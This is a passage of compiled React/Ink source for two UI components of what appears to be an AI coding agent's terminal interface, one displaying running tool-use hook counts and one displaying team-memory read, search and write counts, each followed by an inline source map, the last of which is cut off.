dfQ==

src/components/messages/HookProgressMessage.tsx

@@ -0,0 +1,116 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
+import type { buildMessageLookups } from 'src/utils/messages.js';
+import { Box, Text } from '../../ink.js';
+import { MessageResponse } from '../MessageResponse.js';
+type Props = {
+  hookEvent: HookEvent;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  toolUseID: string;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+};
+export function HookProgressMessage(t0) {
+  const $ = _c(22);
+  const {
+    hookEvent,
+    lookups,
+    toolUseID,
+    isTranscriptMode
+  } = t0;
+  let t1;
+  if ($[0] !== hookEvent || $[1] !== lookups.inProgressHookCounts || $[2] !== toolUseID) {
+    t1 = lookups.inProgressHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
+    $[0] = hookEvent;
+    $[1] = lookups.inProgressHookCounts;
+    $[2] = toolUseID;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const inProgressHookCount = t1;
+  const resolvedHookCount = lookups.resolvedHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
+  if (inProgressHookCount === 0) {
+    return null;
+  }
+  if (hookEvent === "PreToolUse" || hookEvent === "PostToolUse") {
+    if (isTranscriptMode) {
+      let t2;
+      if ($[4] !== inProgressHookCount) {
+        t2 = <Text dimColor={true}>{inProgressHookCount} </Text>;
+        $[4] = inProgressHookCount;
+        $[5] = t2;
+      } else {
+        t2 = $[5];
+      }
+      let t3;
+      if ($[6] !== hookEvent) {
+        t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
+        $[6] = hookEvent;
+        $[7] = t3;
+      } else {
+        t3 = $[7];
+      }
+      const t4 = inProgressHookCount === 1 ? " hook" : " hooks";
+      let t5;
+      if ($[8] !== t4) {
+        t5 = <Text dimColor={true}>{t4} ran</Text>;
+        $[8] = t4;
+        $[9] = t5;
+      } else {
+        t5 = $[9];
+      }
+      let t6;
+      if ($[10] !== t2 || $[11] !== t3 || $[12] !== t5) {
+        t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
+        $[10] = t2;
+        $[11] = t3;
+        $[12] = t5;
+        $[13] = t6;
+      } else {
+        t6 = $[13];
+      }
+      return t6;
+    }
+    return null;
+  }
+  if (resolvedHookCount === inProgressHookCount) {
+    return null;
+  }
+  let t2;
+  if ($[14] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text dimColor={true}>Running </Text>;
+    $[14] = t2;
+  } else {
+    t2 = $[14];
+  }
+  let t3;
+  if ($[15] !== hookEvent) {
+    t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
+    $[15] = hookEvent;
+    $[16] = t3;
+  } else {
+    t3 = $[16];
+  }
+  const t4 = inProgressHookCount === 1 ? " hook\u2026" : " hooks\u2026";
+  let t5;
+  if ($[17] !== t4) {
+    t5 = <Text dimColor={true}>{t4}</Text>;
+    $[17] = t4;
+    $[18] = t5;
+  } else {
+    t5 = $[18];
+  }
+  let t6;
+  if ($[19] !== t3 || $[20] !== t5) {
+    t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
+    $[19] = t3;
+    $[20] = t5;
+    $[21] = t6;
+  } else {
+    t6 = $[21];
+  }
+  return t6;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsImJ1aWxkTWVzc2FnZUxvb2t1cHMiLCJCb3giLCJUZXh0IiwiTWVzc2FnZVJlc3BvbnNlIiwiUHJvcHMiLCJob29rRXZlbnQiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsInRvb2xVc2VJRCIsInZlcmJvc2UiLCJpc1RyYW5zY3JpcHRNb2RlIiwiSG9va1Byb2dyZXNzTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJpblByb2dyZXNzSG9va0NvdW50cyIsImdldCIsImluUHJvZ3Jlc3NIb29rQ291bnQiLCJyZXNvbHZlZEhvb2tDb3VudCIsInJlc29sdmVkSG9va0NvdW50cyIsInQyIiwidDMiLCJ0NCIsInQ1IiwidDYiLCJTeW1ib2wiLCJmb3IiXSwic291cmNlcyI6WyJIb29rUHJvZ3Jlc3NNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgSG9va0V2ZW50IH0gZnJvbSAnc3JjL2VudHJ5cG9pbnRzL2FnZW50U2RrVHlwZXMuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICdzcmMvdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGhvb2tFdmVudDogSG9va0V2ZW50XG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIHRvb2xVc2VJRDogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgaXNUcmFuc2NyaXB0TW9kZT86IGJvb2xlYW5cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEhvb2tQcm9ncmVzc01lc3NhZ2Uoe1xuICBob29rRXZlbnQsXG4gIGxvb2t1cHMsXG4gIHRvb2xVc2VJRCxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgaW5Qcm9ncmVzc0hvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5pblByb2dyZXNzSG9va0NvdW50cy5nZXQodG9vbFVzZUlEKT8uZ2V0KGhvb2tFdmVudCkgPz8gMFxuICBjb25zdCByZXNvbHZlZEhvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5yZXNvbHZlZEhvb2tDb3VudHMuZ2V0KHRvb2xVc2VJRCk/LmdldChob29rRXZlbnQpID8/IDBcbiAgaWYgKGluUHJvZ3Jlc3NIb29rQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKGhvb2tFdmVudCA9PT0gJ1ByZVRvb2xVc2UnIHx8IGhvb2tFdmVudCA9PT0gJ1Bvc3RUb29sVXNlJykge1xuICAgIC8vIEluIHRyYW5zY3JpcHQgbW9kZSwgc2hvdyBhIHN0YXRpYyBzdW1tYXJ5IHNpbmNlIG1lc3NhZ2VzIG5ldmVyIHJlLXJlbmRlclxuICAgIC8vIChzbyBhIHRyYW5zaWVudCBcIlJ1bm5pbmcuLi5cIiB3b3VsZCBnZXQgc3R1Y2spLlxuICAgIGlmIChpc1RyYW5zY3JpcHRNb2RlKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e2luUHJvZ3Jlc3NIb29rQ291bnR9IDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAgICAgIHtob29rRXZlbnR9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAge2luUHJvZ3Jlc3NIb29rQ291bnQgPT09IDEgPyAnIGhvb2snIDogJyBob29rcyd9IHJhblxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIClcbiAgICB9XG4gICAgLy8gT3V0c2lkZSB0cmFuc2NyaXB0IG1vZGUsIGhpZGUg4oCUIGNvbXBsZXRpb24gaW5mbyBpcyBzaG93biB2aWFcbiAgICAvLyBhc3luY19ob29rX3Jlc3BvbnNlIGF0dGFjaG1lbnRzIGluc3RlYWQuXG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGlmIChyZXNvbHZlZEhvb2tDb3VudCA9PT0gaW5Qcm9ncmVzc0hvb2tDb3VudCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+UnVubmluZyA8L1RleHQ+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAge2hvb2tFdmVudH1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57aW5Qcm9ncmVzc0hvb2tDb3VudCA9PT0gMSA/ICcgaG9va+KApicgOiAnIGhvb2tz4oCmJ308L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxTQUFTLFFBQVEsa0NBQWtDO0FBQ2pFLGNBQWNDLG1CQUFtQixRQUFRLHVCQUF1QjtBQUNoRSxTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLFNBQVNDLGVBQWUsUUFBUSx1QkFBdUI7QUFFdkQsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLFNBQVMsRUFBRU4sU0FBUztFQUNwQk8sT0FBTyxFQUFFQyxVQUFVLENBQUMsT0FBT1AsbUJBQW1CLENBQUM7RUFDL0NRLFNBQVMsRUFBRSxNQUFNO0VBQ2pCQyxPQUFPLEVB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QTtNQUFBO01BQUEsT0FWbEJZLEVBVWtCO0lBQUE7SUFFckIsT0FHTSxJQUFJO0VBQUE7RUFHYixJQUFJTixpQkFBaUIsS0FBS0QsbUJBQW1CO0lBQUEsT0FDcEMsSUFBSTtFQUFBO0VBQ1osSUFBQUcsRUFBQTtFQUFBLElBQUFSLENBQUEsU0FBQWEsTUFBQSxDQUFBQyxHQUFBO0lBS0tOLEVBQUEsSUFBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLFFBQVEsRUFBdEIsSUFBSSxDQUF5QjtJQUFBUixDQUFBLE9BQUFRLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFSLENBQUE7RUFBQTtFQUFBLElBQUFTLEVBQUE7RUFBQSxJQUFBVCxDQUFBLFNBQUFSLFNBQUE7SUFDOUJpQixFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBQyxJQUFJLENBQUosS0FBRyxDQUFDLENBQ2hCakIsVUFBUSxDQUNYLEVBRkMsSUFBSSxDQUVFO0lBQUFRLENBQUEsT0FBQVIsU0FBQTtJQUFBUSxDQUFBLE9BQUFTLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFULENBQUE7RUFBQTtFQUNTLE1BQUFVLEVBQUEsR0FBQUwsbUJBQW1CLEtBQUssQ0FBd0IsR0FBaEQsYUFBZ0QsR0FBaEQsY0FBZ0Q7RUFBQSxJQUFBTSxFQUFBO0VBQUEsSUFBQVgsQ0FBQSxTQUFBVSxFQUFBO0lBQWhFQyxFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBRSxDQUFBRCxFQUErQyxDQUFFLEVBQWhFLElBQUksQ0FBbUU7SUFBQVYsQ0FBQSxPQUFBVSxFQUFBO0lBQUFWLENBQUEsT0FBQVcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVgsQ0FBQTtFQUFBO0VBQUEsSUFBQVksRUFBQTtFQUFBLElBQUFaLENBQUEsU0FBQVMsRUFBQSxJQUFBVCxDQUFBLFNBQUFXLEVBQUE7SUFONUVDLEVBQUEsSUFBQyxlQUFlLENBQ2QsQ0FBQyxHQUFHLENBQWUsYUFBSyxDQUFMLEtBQUssQ0FDdEIsQ0FBQUosRUFBNkIsQ0FDN0IsQ0FBQUMsRUFFTSxDQUNOLENBQUFFLEVBQXVFLENBQ3pFLEVBTkMsR0FBRyxDQU9OLEVBUkMsZUFBZSxDQVFFO0lBQUFYLENBQUEsT0FBQVMsRUFBQTtJQUFBVCxDQUFBLE9BQUFXLEVBQUE7SUFBQVgsQ0FBQSxPQUFBWSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBWixDQUFBO0VBQUE7RUFBQSxPQVJsQlksRUFRa0I7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==

src/components/messages/teamMemCollapsed.tsx

@@ -0,0 +1,140 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Text } from '../../ink.js';
+import type { CollapsedReadSearchGroup } from '../../types/message.js';
+
+/**
+ * Plain function (not a React component) so the React Compiler won't
+ * hoist the teamMemory* property accesses for memoization. This module
+ * is only loaded when feature('TEAMMEM') is true.
+ */
+export function checkHasTeamMemOps(message: CollapsedReadSearchGroup): boolean {
+  return (message.teamMemorySearchCount ?? 0) > 0 || (message.teamMemoryReadCount ?? 0) > 0 || (message.teamMemoryWriteCount ?? 0) > 0;
+}
+
+/**
+ * Renders team memory count parts for the collapsed read/search UI.
+ * This module is only loaded when feature('TEAMMEM') is true,
+ * so DCE removes it entirely from external builds.
+ */
+export function TeamMemCountParts(t0) {
+  const $ = _c(23);
+  const {
+    message,
+    isActiveGroup,
+    hasPrecedingParts
+  } = t0;
+  const tmReadCount = message.teamMemoryReadCount ?? 0;
+  const tmSearchCount = message.teamMemorySearchCount ?? 0;
+  const tmWriteCount = message.teamMemoryWriteCount ?? 0;
+  if (tmReadCount === 0 && tmSearchCount === 0 && tmWriteCount === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== hasPrecedingParts || $[1] !== isActiveGroup || $[2] !== tmReadCount || $[3] !== tmSearchCount || $[4] !== tmWriteCount) {
+    const nodes = [];
+    let count = hasPrecedingParts ? 1 : 0;
+    if (tmReadCount > 0) {
+      const verb = isActiveGroup ? count === 0 ? "Recalling" : "recalling" : count === 0 ? "Recalled" : "recalled";
+      if (count > 0) {
+        let t2;
+        if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tmr">, </Text>;
+          $[6] = t2;
+        } else {
+          t2 = $[6];
+        }
+        nodes.push(t2);
+      }
+      let t2;
+      if ($[7] !== tmReadCount) {
+        t2 = <Text bold={true}>{tmReadCount}</Text>;
+        $[7] = tmReadCount;
+        $[8] = t2;
+      } else {
+        t2 = $[8];
+      }
+      const t3 = tmReadCount === 1 ? "memory" : "memories";
+      let t4;
+      if ($[9] !== t2 || $[10] !== t3 || $[11] !== verb) {
+        t4 = <Text key="team-mem-read">{verb} {t2} team{" "}{t3}</Text>;
+        $[9] = t2;
+        $[10] = t3;
+        $[11] = verb;
+        $[12] = t4;
+      } else {
+        t4 = $[12];
+      }
+      nodes.push(t4);
+      count++;
+    }
+    if (tmSearchCount > 0) {
+      const verb_0 = isActiveGroup ? count === 0 ? "Searching" : "searching" : count === 0 ? "Searched" : "searched";
+      if (count > 0) {
+        let t2;
+        if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tms">, </Text>;
+          $[13] = t2;
+        } else {
+          t2 = $[13];
+        }
+        nodes.push(t2);
+      }
+      const t2 = `${verb_0} team memories`;
+      let t3;
+      if ($[14] !== t2) {
+        t3 = <Text key="team-mem-search">{t2}</Text>;
+        $[14] = t2;
+        $[15] = t3;
+      } else {
+        t3 = $[15];
+      }
+      nodes.push(t3);
+      count++;
+    }
+    if (tmWriteCount > 0) {
+      const verb_1 = isActiveGroup ? count === 0 ? "Writing" : "writing" : count === 0 ? "Wrote" : "wrote";
+      if (count > 0) {
+        let t2;
+        if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tmw">, </Text>;
+          $[16] = t2;
+        } else {
+          t2 = $[16];
+        }
+        nodes.push(t2);
+      }
+      let t2;
+      if ($[17] !== tmWriteCount) {
+        t2 = <Text bold={true}>{tmWriteCount}</Text>;
+        $[17] = tmWriteCount;
+        $[18] = t2;
+      } else {
+        t2 = $[18];
+      }
+      const t3 = tmWriteCount === 1 ? "memory" : "memories";
+      let t4;
+      if ($[19] !== t2 || $[20] !== t3 || $[21] !== verb_1) {
+        t4 = <Text key="team-mem-write">{verb_1} {t2} team{" "}{t3}</Text>;
+        $[19] = t2;
+        $[20] = t3;
+        $[21] = verb_1;
+        $[22] = t4;
+      } else {
+        t4 = $[22];
+      }
+      nodes.push(t4);
+    }
+    t1 = <>{nodes}</>;
+    $[0] = hasPrecedingParts;
+    $[1] = isActiveGroup;
+    $[2] = tmReadCount;
+    $[3] = tmSearchCount;
+    $[4] = tmWriteCount;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"names":["React","Text","CollapsedReadSearchGroup","checkHasTeamMemOps","message","teamMemorySearchCount","teamMemoryReadCount","teamMemoryWriteCount","TeamMemCountParts","t0","$","_c","isActiveGroup","hasPrecedingParts","tmReadCount","tmSearchCount","tmWriteCount","t1","nodes","count","verb","t2","Symbol","for","push","t3","t4","verb_0","verb_1"],"sources":["teamMemCollapsed.tsx"],"sourcesContent":["import React from 'react'\nimport { Text } from '../../ink.js'\nimport type { CollapsedReadSearchGroup } from '../../types/message.js'\n\n/**\n * Plain function (not a React component) so the React Compiler won't\n * hoist the teamMemory* property accesses for memoization. This module\n * is only loaded when feature('TEAMMEM') is true.\n */\nexport function checkHasTeamMemOps(message: CollapsedReadSearchGroup): boolean {\n  return (\n    (message.teamMemorySearchCount ?? 0) > 0 ||\n    (message.teamMemoryReadCount ?? 0) > 0 ||\n    (message.teamMemoryWriteCount ?? 0) > 0\n  )\n}\n\n/**\n * Renders team memory count parts for the collapsed read/search UI.\n * This module is only loaded when feature('TEAMMEM') is true,\n * so DCE removes it entirely from external builds.\n */\nexport function TeamMemCountParts({\n  message,\n  isActiveGroup,\n  hasPrecedingParts,\n}: {\n  message: CollapsedReadSearchGroup\n  isActiveGroup: boolean | undefined\n  hasPrecedingParts: boolean\n}): React.ReactNode {\n  const tmReadCount = message.teamMemoryReadCount ?? 0\n  const tmSearchCount = message.teamMemorySearchCount ?? 0\n  const tmWriteCount = message.teamMemoryWriteCount ?? 0\n\n  if (tmReadCount === 0 && tmSearchCount === 0 && tmWriteCount === 0) {\n    return null\n  }\n\n  const nodes: React.ReactNode[] = []\n  let count = hasPrecedingParts ? 1 : 0\n\n  if (tmReadCount > 0) {\n    const verb = isActiveGroup\n      ? count === 0\n        ? 'Recalling'\n        : 'recalling'\n      : count === 0\n        ? 'Recalled'\n        : 'recalled'\n    if (count > 0) {\n      nodes.push(<Text key=\"comma-tmr\">, </Text>)\n    }\n    nodes.push(\n      <Text key=\"team-mem-read\">\n        {verb} <Text bold>{tmReadCount}</Text> team{' '}\n        {tmReadCount === 1 ? 'memory' : 'memories'}\n      </Text>,\n    )\n    count++\n  }\n\n  if (tmSearchCount > 0) {\n    const verb = isActiveGroup\n      ? count === 0\n        ? 'Searching'\n        : 'searching'\n      : count === 0\n        ? 'Searched'\n        : 'searched'\n    if (count > 0) {\n      nodes.push(<Text key=\"comma-tms\">, </Text>)\n    }\n    nodes.push(<Text key=\"team-mem-search\">{`${verb} team memories`}</Text>)\n    count++\n  }\n\n  if (tmWriteCount > 0) {\n    const verb = isActiveGroup\n      ? count === 0\n        ? 'Writing'\n        : 'writing'\n      : count === 0\n        ? 'Wrote'\n        : 'wrote'\n    if (count > 0) {\n      nodes.push(<Text key=\"comma-tmw\">, </Text>)\n    }\n    nodes.push(\n      <Text key=\"team-mem-write\">\n        {verb} <Text bold>{tmWriteCount}</Text> team{' '}\n        {tmWriteCount === 1 ? 'memory' : 'memories'}\n      </Text>,\n    )\n  }\n\n  return <>{nodes}</>\n}\n"],"mappings":"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